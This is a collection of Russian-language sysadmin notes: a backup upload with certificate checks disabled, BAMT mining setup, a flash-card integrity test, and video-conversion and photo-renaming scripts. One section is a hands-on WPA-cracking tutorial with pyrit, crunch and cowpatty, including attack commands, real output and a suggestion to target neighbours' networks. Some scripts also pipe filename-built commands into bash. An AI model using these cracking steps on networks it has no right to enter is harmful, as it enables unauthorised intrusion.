ftp_error=$(echo "lftp -e 'set ssl:verify-certificate no; set ssl:check-hostname false; lcd ~; cd wiki; put /tmp/$backup_name_prefix-$currentdate.tar.gz; bye;' -u $username,$password $ftpserver" | /bin/bash 2>&1)
ftp_result=$?
echo $ftp_error | grep "Disk full"
disk_is_full=$?
done
rm -f /tmp/$backup_name_prefix-$currentdate.tar.gz

bamt-wpa-crack-ломаем-wpa-с-bamt

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Ломать будем с помощью pyrit

1. Зависимости:

apt-get install g++ python-dev openssl zlib1g-dev libssl-dev python-scapy libpcap0.8 libpcap0.8-dev libpcap-dev

2. Исходник:

svn checkout http://pyrit.googlecode.com/svn/trunk/ pyrit-read-only

3. Ставим:

cd pyrit_svn/

cd pyrit/
python setup.py build install

cd cpyrit_opencl/
python setup.py build install

4. Проверяем правильность установки:

pyrit selftest

Смотрим доступные ядра процессора/видеокарт:

pyrit list_cores

Запускаем оценочный тест:

pyrit benchmark

5. Пример использования:

pyrit -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -r cap-01.cap analyze
pyrit -r cap-01.cap -b 00:11:22:33:44:55 attack_batch
либо
pyrit -r cap-01.cap attack_batch

Вариант 2 — хранение базы в любой указанной папке пользователя. Это более основательный подход к делу. Позволяет создать базу для конкретных essid'ов и конкретным числом паролей, т.е. берется файл с 100 миллионами паролей, после чего к нему добавляются любые essid'ы с уникальными именами. После чего база компилируется и привязывается к конкретным essid'ам которые вы в нее залили. После компиляции скорость увеличивается в 5-7 раз. Отличный вариант скажете вы, и будете правы, но ложка дектя конечно же есть smile.gif подвох заключен во времени компиляции, которые естественно зависит от кол-ва паролей и essid'ов и составляет продолжительное время.
Плюсы:
Допустим 1 база на 10 уникальных essid'ов может использоваться для любых точек доступа при условии что имя точки совпадает с тем, что находится в базе. Т.е. если у двух ваших соседей имя точки доступа dlink, но естественно разные mac-адреса, это НЕ помешает вам перебирать их по своей базе без необходится создания новой базы.
Скорость
Огромная скорость
Сделал 1 базу на самые часто встречающиеся essid'ы и чекай их за минимальное время в любых!!! количествах.
Минусы:
Время компилирования
Занимает много места на жестком диске.
Вывод — сухие факты про мою базу: 850 миллионов слов, 24 essid'а, 32 часа компилирования, 650.000 pmk/s перебор по базе, вес 240 gb.
Естественно при меньшем кол-ве паролей и essid'ов затраты по времени уменьшаются прямопропорционально. Стоит это того или нет, каждый решает сам.
Пример использования:

pyrit -u file:///путь/до/файла/где/будет/база.db -i /путь/до/файла/с/паролями/пароли.тхт import_passwords
pyrit -u file:///путь/до/файла/где/будет/база.db -e linksys create_essid
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db batch
pyrit -u file:///путь/до/файла/где/будет/база.db eval
pyrit -u file:///путь/до/файла/где/будет/база.db -r /путь/до/файла/с/cap/output-01.cap attack_db

3. Ломаем по словарю на лету. Режим attack_passthrough. Самый быстрый. Без базы.

pyrit -e ESSID -i password.lst -r capture.cap attack_passthrough

-e ESSID - имя точки доступа

-i password.lst файл паролей
-r capture.cap - файл с хендшейком.
attack_passthrough - режим атаки

4. Атака с генератором паролей crunch

crunch 10 12 1234567890 | pyrit -e ESSID -i - -r capture.cap attack_passthrough

5. Атака с cowpatty

Ставим cowpatty:

wget http://wirelessdefence.org/Contents/Files/cowpatty-4.6.tgz
tar -xvf cowpatty-4.6.tgz
cd cowpatty-4.6/
make && make install

/pentest/passwords/crunch/crunch 8 8 ABCDEFGHIJKLMNOPQRSTUVWXYZ | pyrit -e BTHub3 -i - -o - passthrough | cowpatty -d - -r wpafile.cap -s BTHub3

Реальный тест производительности pyrit

Атака генератором паролей crunch

root@bamt-miner:~# time /pentest/passwords/crunch/crunch 10 10 1234567890 | pyrit -i - -r /mnt/data/capfiles/test-14.cap attack_passthrough
Crunch will now generate the following amount of data: 110000000000 bytes
104904 MB
102 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000000000
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically.
Tried 123486174 PMKs so far; 88913 PMKs per second.

The password is '1234567890'.


real    23m36.646s
user    26m19.795s
sys     0m59.752s

Атака по словарю:

root@bamt-miner:~/cowpatty-4.6# time pyrit  -i /mnt/data/pyrit/dict_fullsorted_8.2G/fullsorted.dic -r /mnt/data/capfiles/test-14.cap attack_passthrough
Pyrit 0.4.1-dev (svn r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/mnt/data/capfiles/test-14.cap' (1/1)...
Parsed 11 packets (11 802.11-packets), got 1 AP(s)

Picked AccessPoint 48:5b:39:38:57:cc ('default') automatically.
Tried 112425621 PMKs so far; 88146 PMKs per second.

The password is '1234567890'.


real    21m7.570s
user    22m30.768s
sys     0m57.260s

bamt-маиним-bitcoin-с-картами-amd-7900

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

BAMT версии 0.5 (на начало октября 2012) не поддерживает карты AMD 7900.

Для того чтобы максимально быстро и удобно интегрировать новые драйвера в BAMT нам понадобятся:

1. Образ BAMT
2. VMWare Player или Workstation
3. StarWind Converter http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe

Начинаем.

Скачиваем и устанавливаем StarWind Converter http://www.starwindsoftware.com/f3z99a6/StarWindConverter.exe
Запускаем StarWind Converter и конвертируем образ BAMT в формат VMDK
В VMWare создаем виртуальную машину с операционкой “Ubuntu” и указываем в качестве HDD - файл сконвертированный из BAMT.
Загружаем машину, запускаем Accessories → Root Terminal.

Меняем пароль рута, чтобы зайти по SSH

passwd root

и подключаемся по SSH.
Затем обновляем AMD SDK, cgminer и драйвер ATI.

cd /usr/share
git clone https://github.com/ckolivas/cgminer.git
cd cgminer/ADL_SDK
wget http://download2-developer.amd.com/amd/GPU/zip/ADL_SDK_4.0.zip
unzip ADL_SDK_4.0.zip
cd include
mv adl* ..
cd /opt
tar xf /opt/AMD-APP-SDK-v2.4-lnx32/icd-registration.tgz
ln -s /opt/AMD-APP-SDK-v2.4-lnx32/include/CL /usr/include
ln -s /opt/AMD-APP-SDK-v2.4-lnx32/lib/x86/* /usr/lib/
ldconfig
cd /usr/share/cgminer
./autogen.sh
CFLAGS="-O2 -Wall -march=native -I/opt/AMDAPP/include" LDFLAGS="-L/usr/lib" ./configure --enable-scrypt
make
cp ./* /opt/miners/cgminer/ -Rf

/usr/share/ati/fglrx-uninstall.sh --force
sync
coldreboot

cd /home/user/Desktop/
wget http://www2.ati.com/drivers/linux/amd-driver-installer-12-8-x86.x86_64.zip
unzip amd-driver-installer-12-8-x86.x86_64.zip
chmod 755 amd-driver-installer-8.982-x86.x86_64.run
./amd-driver-installer-8.982-x86.x86_64.run
sync
coldreboot

Затем поправим файл /etc/init.d/mine
Мы пропишем туда разгон видеокарт и запуск cgminer

#!/bin/sh
logger "Start mining"
#atitweak --adapter=0 --set-engine-clock=990 --set-memory-clock=300  --set-core-voltage=1.165 --set-fan-speed=100
/usr/local/bin/atitweak --adapter=0 --set-engine-clock=1000  --set-fan-speed=100
/usr/local/bin/atitweak --adapter=1 --set-engine-clock=910 --set-fan-speed=100
/usr/local/bin/atitweak --adapter=2 --set-engine-clock=910   --set-fan-speed=100
/opt/miners/cgminer/cgminer --api-listen -c /etc/bamt/cgminer.conf

exit 0

Сформировать файл настроек cgminer можно либо из сомого cgminer, запустив его

/opt/miners/cgminer/cgminer --api-listen -c /etc/bamt/cgminer.conf

и нажав S и потом W
либо прописав в /etc/bamt/cgminer.conf вон чиво:

{

"pools" : [
        {
                "url" : "http://pit.deepbit.net:8332",
                "user" : "mike@autosys.tk_homev",
                "pass" : "xxx"
        }
]
,
"intensity" : "11,11,11",
"vectors" : "1,2,2",
"worksize" : "128,128,128",
"kernel" : "diablo,diablo,diablo",
"api-listen" : true,
"api-port" : "4028",
"expiry" : "120",
"gpu-dyninterval" : "7",
"gpu-platform" : "0",
"gpu-threads" : "2",
"log" : "5",
"queue" : "1",
"scan-time" : "60",
"shares" : "0",
"kernel-path" : "/usr/local/bin"
}

После этого надо сконвертировать VMDK обратно в формат Raw и залить на флешку

bash_bits_operations

anonymous@undisclosed.example.com (Anonymous) — Tue, 08 Dec 2020 21:09:51 +0000

Как побитно инвертировать файл в linux shell

Мне понадобилось изготовить файлик довольно большого размера - 16Кбайт, заполненный одними нулями и одними единичками. Но не смоволами юникода 0 и 1, а битами.
Итак. Получить нолики просто:

dd if=/dev/zero of=./16384_zeroes count=16384 bs=1

Проверить, что там побитовые нолики можно так:

$ xxd -b 16384_zeroes
00000000: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000006: 00000000 00000000 00000000 00000000 00000000 00000000  ......
0000000c: 00000000 00000000 00000000 00000000 00000000 00000000  ......
00000012: 00000000 00000000 00000000 00000000 00000000 00000000  ......
...
00003ffc: 00000000 00000000 00000000 00000000                    ....

Инвертировать побитово файл можно с помощью утилиты tr примерно так:

LC_ALL=C tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' < 16384_zeroes > 16384_ones

Зачем мне такое надо

А дальше я буду заливать этот файлик на флешку. У меня есть подозрения, что флеха (карточка Micro SD HC Kingston 16Gb SDC4 ) портит данные. Вот мы это и проверим.
Итак, смотрим сколько байтов у нас на флехе:

fdisk -l /dev/sdc
Disk /dev/sdc: 14.42 GiB, 15472787456 bytes, 30220288 sectors

То есть нам надо сделать файлик длинной 15472787456 байт, посчитать его контрольную сумму, залить его на флеху, слить обратно и снова посчитать контрольную сумму. Если всё в порядке - сумма сойдется.
Будем создавать файлик сразу блоками по 1М, чтобы было быстро. Посчитаем сколько раз по 1М поместится на флехе:

$ echo $(( 15472787456/1048576 ))
14756

Теперь делаем маленький скриптик:

rm -f ./16G_ones.img; for count in {1..14756}; do dd if=/dev/zero count=1 bs=1M | LC_ALL=C tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' >> ./16G_ones.img; echo $count; done

Он создаст нам файлик, в котором будет ровно 15472787456 байт, в которых все биты - единички!
Зальем его на флеху:

dd if=./16G_ones.img of=/dev/sdc bs=16384 count=944384

А дальше считаем флеху и проверим контрольные суммы:

sha1sum -b ./16G_ones.img
c068f9b373027daaabc6214d401da9341e5fa545 *./16G_ones.img

dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
d2c42aa3c9b5be47e3fc5ef8aced8f9d867d3aea *./sdc_ones

rm -f ./sdc_ones
dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
25bac255911597a5962598e5c817e208baa63c72 *./sdc_ones

rm -f ./sdc_ones
dd if=/dev/sdc of=./sdc_ones bs=16384 count=944384
sha1sum -b ./sdc_ones 
984396d75505063aaef7f23a40f337f7a70b5294 *./sdc_ones

В результате - видно, что каждый раз при считывании контрольная сумма оказывается разная!!
Вывод - карточка битая! При этом - в логах ядра никаких ошибок чтения!

Как обойтись без файлика

Инвертируем нолики в единички налету и льем на диск:

export LC_ALL=C && dd if=/dev/zero bs=16384 count=3897983 | tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' | dd of=/dev/sdc bs=16384

Посчитаем SHA1, который должен быть:

export LC_ALL=C && dd if=/dev/zero bs=16384 count=3897983 | tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' | sha1sum -b -
9cee0b471cd582196b1c9fddf780186e69c526be *-

А теперь посчитаем фактический SHA1:

dd if=/dev/sdc bs=16384 count=3897983 | sha1sum -b -
9cee0b471cd582196b1c9fddf780186e69c526be *-

На новой флехе всё совпадает.
Вот скрипт для проверки флешки. Сначала скрипт заливает весь диск единичками, проверяет, потом - заливает нулями и проверяет:

#!/bin/bash 

disk=$1
disk_size=`blockdev --getsize64 $disk`
block_size=32768
count=$(( $disk_size / $block_size ))
red=`tput setaf 1`
green=`tput setaf 2`
reset=`tput sgr0`

echo "Disk: ${disk}, Disk Size in bytes: ${disk_size}, Blocks count: ${count}"
echo "Calculating reference sha1sum with ones..."
ref_csum=`export LC_ALL=C && dd if=/dev/zero bs=$block_size count=$count status=progress | tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' | sha1sum -b -`
echo "Reference sha1sum with ones: $ref_csum"

echo "Filling disk with ones..."
export LC_ALL=C && dd if=/dev/zero bs=$block_size count=$count status=progress | tr '\0-\377' '\377\376\375\374\373\372\371\370\367\366\365\364\363\362\361\360\357\356\355\354\353\352\351\350\347\346\345\344\343\342\341\340\337\336\335\334\333\332\331\330\327\326\325\324\323\322\321\320\317\316\315\314\313\312\311\310\307\306\305\304\303\302\301\300\277\276\275\274\273\272\271\270\267\266\265\264\263\262\261\260\257\256\255\254\253\252\251\250\247\246\245\244\243\242\241\240\237\236\235\234\233\232\231\230\227\226\225\224\223\222\221\220\217\216\215\214\213\212\211\210\207\206\205\204\203\202\201\200\177\176\175\174\173\172\171\170\167\166\165\164\163\162\161\160\157\156\155\154\153\152\151\150\147\146\145\144\143\142\141\140\137\136\135\134\133\132\131\130\127\126\125\124\123\122\121\120\117\116\115\114\113\112\111\110\107\106\105\104\103\102\101\100\77\76\75\74\73\72\71\70\67\66\65\64\63\62\61\60\57\56\55\54\53\52\51\50\47\46\45\44\43\42\41\40\37\36\35\34\33\32\31\30\27\26\25\24\23\22\21\20\17\16\15\14\13\12\11\10\7\6\5\4\3\2\1\0' | dd of=$disk bs=$block_size 
echo "Flushing buffers to disks..."
sync
sync
echo 3 > /proc/sys/vm/drop_caches 

echo "Calculating sha1sum of the disk content..."
fact_csum=`dd if=$disk bs=$block_size count=$count status=progress | sha1sum -b -`
echo "Fact disk content sha1sum checksum: $fact_csum"

if [ "$ref_csum" = "$fact_csum" ]; then 
  echo "Check with ones passed... ${green}Disk is OK!${reset}"
else
  echo "Check with ones failed... ${red}Disk is BAD!${reset}"
fi

echo "Calculating reference sha1sum with zeroes..."
ref_csum=`dd if=/dev/zero bs=$block_size count=$count status=progress | sha1sum -b -`
echo "Reference sha1sum with zeroes: $ref_csum"

echo "Filling disk with zeroes..."
dd if=/dev/zero of=$disk bs=$block_size count=$count status=progress
echo "Flushing buffers to disks..."
sync
sync
echo 3 > /proc/sys/vm/drop_caches 

echo "Calculating sha1sum of the disk content..."
fact_csum=`dd if=$disk bs=$block_size count=$count status=progress | sha1sum -b -`
echo "Fact disk content sha1sum checksum: $fact_csum"

if [ "$ref_csum" = "$fact_csum" ]; then 
  echo "Check with ones passed... ${green}Disk is OK!${reset}"
else
  echo "Check with ones failed... ${red}Disk is BAD!${reset}"
fi

bash_script_to_batch_convert_video_files_to_h265

anonymous@undisclosed.example.com (Anonymous) — Fri, 15 Nov 2019 13:00:35 +0000

to do

1. добавить вывод даты/времени в начале конвертирования каждого файла. бывает, что handbrake зависает и непонятно долго ли он уже мурыжит этот файл.

3. Сделать проверку/сравнение длительности потока исходного и конечного файла. Просто я столкнулся с тем, что в отсутствие кодеков, handbrake создает файл без видеопотока, но ошибок не сообщает.

ffprobe videofile.avi -v error -select_streams 0 -show_entries stream=duration

4. Сделать проверку и исправление исходного файла, в случае, когда не совпадает длительность потока.
5.Сделать автоматическое определение необходимого уровня качества, в зависимости от разрешения и частоты кадров потока. https://handbrake.fr/docs/en/latest/workflow/adjust-quality.html . Для ролика 1920*1080*60 мне кажется хорошим значение параметра -q=24. Битрейт в этом случае составляет 9-10 мегабит в секунду. При больших значниях - становятся заметны артефакты (на паузе на границах объектов, при воспроизведении - меньше). Короче - надо тестировать.

Для чего

Мне захотелось оптимизировать свой видеоархив при помощи кодека h265, который позволяет существенно сэкономить место на диске практически без потери качества видеоматериалов.

Применяемые средства

Для конвертации я буду использовать HandBrakeCLI под Ubuntu 16.04.
Устанавливать HandBrakeCLI лучше из репозитория разработчиков. Версия, которая есть в репозиториях Ubuntu 16.04 старая и некорректно обрабатывает звук (он просто пропадает после конвертации).
Также понадобится ffmpeg для определения кодека (чтобы повторно не конвертировать файлы уже сконвертированные в h265) и работы с данными EXIF.

sudo add-apt-repository ppa:stebbins/handbrake-releases
sudo apt-get update
sudo apt-get install handbrake-cli ffmpeg

Описание скрипта

Скрипт адаптирован к именам файлов и папок, содержащим пробелы.
Скрипт формирует список файлов в папке и вложенных папках по типу MIME - video.
Затем, у каждого файла проверяется текущий видеокодек и если он не HEVC (h265), то файл проверяется на наличие ошибок и если все все хорошо - конвертируется. Конвертированный файл кладется с именем оригинального файла на то же место, где лежал оригинальный файл.
После конвертации в файле меняется значение EXIF-аттрибута creation_date на значение извлеченное из оригинального файла.
В качестве бонуса подсчитывается количество сэкономленного места.
Для работы нужно задать параметры - папку с исходными файлами, папку куда будут положены исходные файлы после конвертации, а также количество потоков для HandBrakeCLI, чтобы система оставалась юзабельной во время конвертации.

#!/bin/bash

srcdir="/home/AUTOSYS/mike/Downloads/paan/"
oldfilesdir=`dirname "$srcdir"`/Unconverted_Video_`basename "$srcdir"`
filelist=`find $srcdir -type f -exec file -N -i -- {} + | sed -n 's!: video/[^:]*$!!p'`
logfile=$oldfilesdir/convertation_`date +"%d.%m.%y_%H-%M"`.log
threads=3
quality=30

mkdir $oldfilesdir
oldsize=0; newsize=0; filesleft=0; corruptedfiles=0
filesleft=`echo "$filelist" | wc -l`
echo $filesleft "video files detected" | tee -a $logfile
while read -r file
do
echo "FILE - $file" | tee -a $logfile
echo "ffprobe -show_format \"$file\" 2>&1 | grep Video: | grep hevc" | /bin/bash 1>/dev/null 2>/dev/null
if [ $? -eq 0 ]; then echo "This File is already in HEVC (h265)" | tee -a $logfile
else
        echo "Checking file for errors..." | tee -a $logfile
        echo "ffmpeg -i \"$file\" -v error -f null - 2>/dev/null 1>/dev/null" | /bin/bash 1>/dev/null 2>/dev/null
        if [ $? -ne 0 ]; then echo "File corrupted. Skipping..." | tee -a $logfile; (( corruptedfiles++ ))
        else
        filedir=`dirname "$file"`
        filesize=`du -k "$file" | cut -f1`
        filename=`basename "$file"`
        creationtime=`echo "ffprobe \"$file\" 2>&1 | grep -m 1 creation_time | sed -n -e 's/^.*creation_time\ *:\ *//p'" | /bin/bash`
        oldsize=$(( oldsize + filesize ))
        mkdir --parents "$oldfilesdir"/"$filedir"
        mv "$file" "$oldfilesdir"/"$filedir"
        echo "HandBrakeCLI -i \"$oldfilesdir\"/\"$file\" -o \"$filedir\"/\"$filename\" -e x265 -q $quality -E av_aac \
        --custom-anamorphic --keep-display-aspect -O -x threads=$threads 2> /dev/null" | /bin/bash
        handbrakereturn=$?
        if [ "$handbrakereturn" -eq 0 ]
                then echo "Convertation Done." | tee -a $logfile
                if [ "$creationtime" ]
                        then echo "Preserving Creation Time..." | tee -a $logfile
                        echo "ffmpeg -i \"$filedir\"/\"$filename\" -metadata:s:v:0 creation_time=\"$creationtime\" \
                        -metadata:s:a:0 creation_time=\"$creationtime\" -metadata creation_time=\"$creationtime\" \
                        -c copy \"$filedir\"/\"new_date_$filename\" 2> /dev/null" | /bin/bash
                        if [ $? -eq 0 ]; then echo "Done." | tee -a $logfile; else echo "Preservation of Creation Time metadata failed..." | tee -a $logfile; fi 
                        mv "$filedir"/"new_date_$filename" "$filedir"/"$filename"
                        else echo "Creation Time metadata not found" | tee -a $logfile
                fi
                else echo "Convertation ERROR. HandBrakeCLI Exit Code: $handbrakereturn" | tee -a $logfile
                mv "$oldfilesdir"/"$file" "$file"
        fi
        sync
        filesize=`du -k "$file" | cut -f1`
        newsize=$(( newsize + filesize ))
fi
fi
        (( filesleft-- ))
        echo $filesleft "files left to convert" | tee -a $logfile
done < <(echo "$filelist")
echo "Converted files old size - $oldsize Kb" | tee -a $logfile
echo "Converted files new size - $newsize Kb" | tee -a $logfile
echo "Saved Space - $(( $oldsize - $newsize )) Kb" | tee -a $logfile
echo "Corrupted files: $corruptedfiles" | tee -a $logfile

Вот вариант, еоторый кладет новые файлы на место старых:

#!/bin/bash

srcdir=/home/valusik/Изображения
#srcdir=/home/valusik/Изображения/test
filelist=`find $srcdir -type f -exec file -N -i -- {} + | sed -n 's!: video/[^:]*$!!p'`
logfile=$srcdir/convertation_`date +"%d.%m.%y_%H-%M"`.log
threads=3

#mkdir $oldfilesdir
oldsize=0; newsize=0; filesleft=0; corruptedfiles=0
filesleft=`echo "$filelist" | wc -l`
echo $filesleft "video files detected" | tee -a $logfile
while read -r file
do
echo "FILE - $file" | tee -a $logfile
echo "ffprobe -show_format \"$file\" 2>&1 | grep Video: | grep hevc" | /bin/bash 1>/dev/null 2>/dev/null
if [ $? -eq 0 ]; then echo "This File is already in HEVC (h265)" | tee -a $logfile
else
        echo "Checking file for errors..." | tee -a $logfile
        echo "ffmpeg -i \"$file\" -v error -f null - 2>/dev/null 1>/dev/null" | /bin/bash 1>/dev/null 2>/dev/null
        if [ $? -ne 0 ]; then echo "File corrupted. Skipping..." | tee -a $logfile; (( corruptedfiles++ ))
        else
        filedir=`dirname "$file"`
        filesize=`du -k "$file" | cut -f1`
        filename=`basename "$file"`
        creationtime=`echo "ffprobe \"$file\" 2>&1 | grep -m 1 creation_time | sed -n -e 's/^.*creation_time\ *:\ *//p'" | /bin/bash`
        oldsize=$(( oldsize + filesize ))
        echo "Creation time - \"$creationtime\"; Filesize - \"$filesize\""
        mv "$file" "$file".old
        echo "HandBrakeCLI -i \"$file\".old -o \"$file\" -e x265 -q 20 -E av_aac \
        --custom-anamorphic --keep-display-aspect -O -x threads=$threads 4> /dev/null" | /bin/bash
        handbrakereturn=$?
        if [ "$handbrakereturn" -eq 0 ]
                then echo "Convertation Done." | tee -a $logfile
                rm -f "$file".old
                if [ "$creationtime" ]
                        file_extension="${file##*.}"
                        new_date_file="$file"_new_date."$file_extension"
                        then echo "Preserving Creation Time..." | tee -a $logfile
                        preservation_time_cmd="ffmpeg -i \"$file\" -metadata:s:v:0 creation_time=\"$creationtime\" \
                        -metadata:s:a:0 creation_time=\"$creationtime\" -metadata creation_time=\"$creationtime\" \
                        -c copy \"$new_date_file\" 2> /dev/null"
                        echo $preservation_time_cmd | /bin/bash
                        if [ $? -eq 0 ]; then echo "Done." | tee -a $logfile; mv "$new_date_file" "$file"; else echo "Preservation of Creation Time metadata failed..." | tee -a $logfile; fi
                else echo "Creation Time metadata not found" | tee -a $logfile
                fi
        else
                echo "Convertation ERROR. HandBrakeCLI Exit Code: $handbrakereturn" | tee -a $logfile
                mv "$file".old "$file"
        fi
        sync
        filesize=`du -k "$file" | cut -f1`
        newsize=$(( newsize + filesize ))
fi
fi
        (( filesleft-- ))
        echo $filesleft "files left to convert" | tee -a $logfile
done < <(echo "$filelist")
echo "Converted files old size - $oldsize Kb" | tee -a $logfile
echo "Converted files new size - $newsize Kb" | tee -a $logfile
echo "Saved Space - $(( $oldsize - $newsize )) Kb" | tee -a $logfile
echo "Corrupted files: $corruptedfiles" | tee -a $logfile

bash_script_to_rename_photos_based_on_date_taken

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:26 +0000

Софт

Программы для получения информации о дате создания файла: mediainfo exiftool (libimage-exiftool-perl) ffprobe

Скрипт

Скрипт выполняет поиск файлов по расширениям, извлекает из EXIF информацию о дате создания и переименовывает файлы. Работа скрипта аналогична скриптам на power-shell: powershell_script_to_rename_photos_based_on_date_taken, однако работает и с видеофайлами.

#!/bin/bash
DIRECTORY="/files/cloud/Unsorted_renamed"

for file in $DIRECTORY/*.{jpg,mp4,JPG,3gp,MOV,mov}

do
  filename=$(basename "$file")
  extension="${filename##*.}"
  new_file_name=`exiftool -d "%Y_%m_%d-%Hh_%Mm_%Ss" -CreateDate "$file" | awk '{print $4}'`
  echo "Old FileName " `basename $filename`
  if [[  "$new_file_name" ]];
  then
    echo "New FileName " $new_file_name.$extension
    new_file_name=$DIRECTORY/$new_file_name.$extension
    if [ -f $new_file_name ];
    then
      echo "File $new_file_name already exists. Skipping..."
    else
      echo "Moving $file to $new_file_name..."
      mv $file $new_file_name
    fi
  else
    echo "EMPTY EXIF"
fi

done

Не мой скрипт

#!/bin/bash
# By Ferux, 26 June 2016.
# Script for renaming photos and videos based on their date.
# Useful for watching slideshows with the videos at the moment they were shot instead of all at the end.
# Also useful for combining pictures of multiple sources into the correct order.
# For jpg's, the exif date 'taken on' will be used. If that's not found, the date of last change is used.
# For all other files, date of last change is used. Only following extensions are affected: mp4, mpg, png, avi, mov, jpg.

# To use this:
# 1. Put this text in a file named renamephotos
# 2. Make the file executable.
# 3. Put the file in the folder of which you want to rename the files.
# 4. Nautilus: File --> open in terminal.
# 5. In the terminal window, enter the following command: ./renamephotos

